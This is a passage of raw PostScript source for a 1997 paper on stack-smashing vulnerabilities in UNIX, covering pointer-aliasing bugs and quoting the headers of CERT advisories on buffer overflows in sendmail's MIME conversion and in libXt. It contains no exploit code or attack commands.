M (routine ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1738 9020 M (jumps ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2207 9020 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2398 9020 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2534 9020 M (random ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3105 9020 M (address, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3709 9020 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4011 9020 M (overruns ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4656 9020 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4792 9020 M (fixed-size ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5511 9020 M (buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5981 9020 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6338 9020 M (excessively ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7167 9020 M (large ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8744 M (input data. This often results in data-dependent bugs that are difficult to spo\ t or isolate.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 8443 M (2.4 Aliasing/Stale/Dangling Pointer Bug) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8160 M (This ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2046 8160 M (term ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2394 8160 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2658 8160 M (been ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3014 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3185 8160 M (use ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3449 8160 M (since ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3833 8160 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4078 8160 M (1960s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4517 8160 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4688 8160 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4933 8160 M (ALGOL ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5539 8160 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5821 8160 M (FORTRAN ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6640 8160 M (communities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7884 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1503 7884 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1665 7884 M (reserved ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2281 7884 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2527 7884 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2652 7884 M (group ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3091 7884 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3281 7884 M (programming ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4239 7884 M (errors ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4680 7884 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4980 7884 M (arise ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5346 7884 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5526 7884 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5891 7884 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6191 7884 M (uses ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6529 7884 M (more ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6923 7884 M (than ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 7884 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7608 M (alias ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1558 7608 M (or ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1743 7608 M (pointer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2260 7608 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2477 7608 M (point ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2864 7608 M (to ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3039 7608 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3159 7608 M (given ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3574 7608 M (chunk ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4026 7608 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4211 7608 M (dynamically ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5079 7608 M (allocated ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5725 7608 M (memory. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6411 7608 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6596 7608 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6845 7608 M (event ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7251 7608 M (that ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7332 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1468 7332 M (dynamic ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2096 7332 M (memory ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2707 7332 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2873 7332 M (modified ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3529 7332 M (using ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3944 7332 M (one ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4239 7332 M (alias, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4641 7332 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4936 7332 M (then ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5277 7332 M (later ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5628 7332 M (referenced ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6387 7332 M (through ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6959 7332 M (another, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7056 M (subtle and violent errors can occur.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p160000 SETFONT GS n 1200 6730 M (3. Stack Smashing publicity) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 6415 M (3.1 Security professionals and the academic community ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6132 M (CERT, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2212 6132 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2459 6132 M (Computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3169 6132 M (Emergency ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3972 6132 M (Response ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4654 6132 M (Team ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5078 6132 M (Coordination ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5999 6132 M (Center ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6487 6132 M (at ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6651 6132 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6898 6132 M (Software ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5856 M (Engineering ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2058 5856 M (Institute ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2646 5856 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2828 5856 M (Carnegie ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3472 5856 M (Mellon ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3995 5856 M (University, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4782 5856 M (has ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5047 5856 M (published ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5736 5856 M (Internet-specific ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 5856 M (computer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5580 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1803 5580 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2405 5580 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3147 5580 M (since ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3556 5580 M (1988. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3997 5580 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4203 5580 M (examining ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4972 5580 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5446 5580 M (security ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6040 5580 M (incident ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6642 5580 M (advisories, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7426 5580 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5304 M (trend ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1603 5304 M (emerges ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2213 5304 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2396 5304 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2653 5304 M (type ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2993 5304 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3186 5304 M (vulnerabilities ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4191 5304 M (reported; ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 4846 5304 M (Buffer ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5316 5304 M (overflow) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 5898 5304 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5952 5304 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6117 5304 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6245 5304 M (common ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6882 5304 M (phrase ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7371 5304 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5028 M (these ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1618 5028 M (reports. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2231 5028 M (Of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2473 5028 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2742 5028 M (advisories ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3483 5028 M (available ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4149 5028 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4381 5028 M (C) ST -5 0 MR (E) ST -5 0 MR (R) ST -5 0 MR (T) ST -5 0 MR (') ST -6 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4968 5028 M (public ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5449 5028 M (archives, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6112 5028 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6381 5028 M (following ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7093 5028 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 4752 M (examples illustrate the proliferation of stack smashing buffer overflows[1]:) ST GR %%PageTrailer AXPageSave restore showpage %%Page: 6 6 %%BeginPageSetup save /AXPageSave exch def DOSETUP %%EndPageSetup 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1736 M (3) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1695 M ( Http://www.sendmail.org) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1581 M (4) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1540 M ( Mail Transfer Agent) 942 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1426 M (5) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1385 M ( Multipurpose Internet Mail Extensions, for more details see RFC 1341) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1271 M (6) 69 X GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p80000 SETFONT GS n 1269 1230 M ( http://www.opengroup.org/) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 1200 1954 M (_________________________) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 1200 10624 M (Stack Smashing Vulnerabilities in the UNIX Operating System) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6811 10624 M (Page 9) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3998 284 M (May 7, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 9752 M 7523 9752 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9747 M 1181 9622 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9747 M 7519 9622 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 9644 M (ftp://info.cert.org/pub/cert_advisories/CA-97.05.sendmail) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9621 M 1181 9517 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9621 M 7519 9517 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 9533 M (======================================================================) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9516 M 1181 9412 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9516 M 7519 9412 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9428 M (CERT\(sm\) Advisory CA-97.05) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9411 M 1181 9307 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9411 M 7519 9307 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9323 M (Original issue date: January 28, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9306 M 1181 9202 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9306 M 7519 9202 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9218 M (Last revised: March 5, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9201 M 1181 9097 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9201 M 7519 9097 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 9113 M ( Appendix A, updated NEC entry. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 9096 M 1181 8937 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 9096 M 7519 8937 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8936 M 1181 8832 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8936 M 7519 8832 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8848 M (Topic: MIME Conversion Buffer Overflow in Sendmail Versions 8.8.3 and 8.8.4) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 8831 M 1181 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 8831 M 7519 8713 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 8743 M (--------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 8707 M 7523 8707 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 3766 8576 M (CERT example 3.1.a) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 8230 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2366 8230 M (3.1.a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2762 8230 M (details ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3268 8230 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3414 8230 M (vulnerability ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4335 8230 M (in ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4536 8230 M (Eric ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4886 8230 M (A) ST -3 0 MR (l) ST -3 0 MR (l) ST -4 0 MR (m) ST -4 0 MR (a) ST -4 0 MR (n) ST -4 0 MR (') ST -4 0 MR (s ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p120000 SETFONT GS n 5552 8230 M (sendmail) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6152 8271 M (3) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 6221 8230 M (, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6335 8230 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6481 8230 M (popular ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7061 8230 M (MTA) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 7431 8271 M (4) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 7500 8230 M ( ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7954 M (used ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1559 7954 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1806 7954 M (e-mail ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2284 7954 M (delivery ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2881 7954 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3173 7954 M (distribution. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4075 7954 M (In ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4266 7954 M (recent ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4725 7954 M (revisions ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5378 7954 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5569 7954 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5861 7954 M (utility, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6351 7954 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6477 7954 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6871 7954 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7678 M (vulnerability exists in the code that performs MIME) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 4674 7719 M (5) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 4743 7678 M ( conversions on e-mail messages. ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 7389 M 7523 7389 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7384 M 1181 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7384 M 7519 7259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont4p80000 SETFONT GS n 1200 7281 M (ftp://info.cert.org/pub/cert_advisories/CA-97.11.libXt) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7258 M 1181 7154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7258 M 7519 7154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p80000 SETFONT GS n 1200 7170 M (=====================================================================) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7153 M 1181 7049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7153 M 7519 7049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 7065 M (CERT* Advisory CA-97.11) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 7048 M 1181 6944 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 7048 M 7519 6944 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6960 M (Original issue date: May 1, 1997) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6943 M 1181 6839 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6943 M 7519 6839 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6855 M (Last revised: --) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6838 M 1181 6679 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6838 M 7519 6679 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6678 M 1181 6574 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6678 M 7519 6574 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6590 M (Topic: Vulnerability in libXt) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6573 M 1181 6469 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6573 M 7519 6469 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6485 M (----------------------------------------------------------------------) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6468 M 1181 6364 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6468 M 7519 6364 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6380 M (There have been discussions on public mailing lists about buffer overflows in th\ e Xt library ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6363 M 1181 6259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6363 M 7519 6259 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6275 M (of the X Windowing System made freely available by The Open Group \(and previous\ ly by the ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6258 M 1181 6154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6258 M 7519 6154 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 6170 M (now-defunct X Consortium\). The specific problem outlined in those discussions w\ as a buffer ) ST GR GS 0 11000 32000 -21000 DOCLIPBOX n 1181 6153 M 1181 6049 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR GS 0 11000 32000 -21000 DOCLIPBOX n 7519 6153 M 7519 6049 L 10 